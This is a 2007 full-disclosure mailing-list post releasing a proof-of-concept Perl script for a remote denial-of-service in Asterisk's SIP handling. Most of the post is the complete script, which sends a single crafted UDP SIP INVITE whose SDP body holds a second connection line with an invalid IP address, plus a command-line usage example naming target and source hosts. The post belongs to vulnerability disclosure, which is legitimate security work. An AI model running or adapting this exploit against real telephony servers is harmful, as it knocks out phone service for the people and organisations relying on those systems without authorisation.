full-disclosure - POC: for Asterisk SIP INVITE remote DOS

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Message-Id: <5m8j6b$afoho@ironport1.loria.fr>
Date: Sat, 24 Mar 2007 14:11:29 +0100
From: "Radu State" <state@...ia.fr>
To: <full-disclosure@...ts.grok.org.uk>
Subject: POC: for Asterisk SIP INVITE remote DOS

Due to many requests for the POC  and since most Asterisk systems should
have been patched by now,   please find  in this message the POc for our
advisory posted on 

 

 <http://seclists.org/fulldisclosure/2007/Mar/0315.html>
http://seclists.org/fulldisclosure/2007/Mar/0315.html

 

 

usage  example:

 

perl  asterisk-Invite.pl 192.168.1.104 5060 userX  192.168.1.2 5060 userY

 

 

 

 

#!/usr/bin/perl

use IO::Socket::INET;

die "Usage $0 <dst> <dport> <dusername> <src> <sport> <susername>" unless
($ARGV[5]);

 

$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],

        Proto=>'udp',

        PeerAddr=>$ARGV[0]);

 

$msg="INVITE sip:$ARGV[2]\@$ARGV[0]:$ARGV[1] SIP/2.0\r\nVia: SIP/2.0/UDP
$ARGV[3]:$ARGV[4];branch=01;rport\r\nTo:
<sip:$ARGV[2]\@$ARGV[0]:$ARGV[1]>\r\nFrom:
<sip:$ARGV[3]:$ARGV[4]>;tag=01\r\nCall-ID: 01\@$ARGV[3]\r\nContent-Type:
application/sdp\r\nCSeq: 01 INVITE\r\nContent-Length:
187\r\n\r\nv=0\r\no=root 25903 25903 IN IP4 $ARGV[3]\r\ns=session\r\nc=IN
IP4 $ARGV[3]\r\nc=IN IP4 910.188.8.2\r\nt=0 0\r\nm=audio 13956 RTP/AVP 0 4 3
8 111 5 10 7 18 110 97 101\r\na=rtpmap:98 speex/16000\r\n\r\n";

$socket->send($msg);


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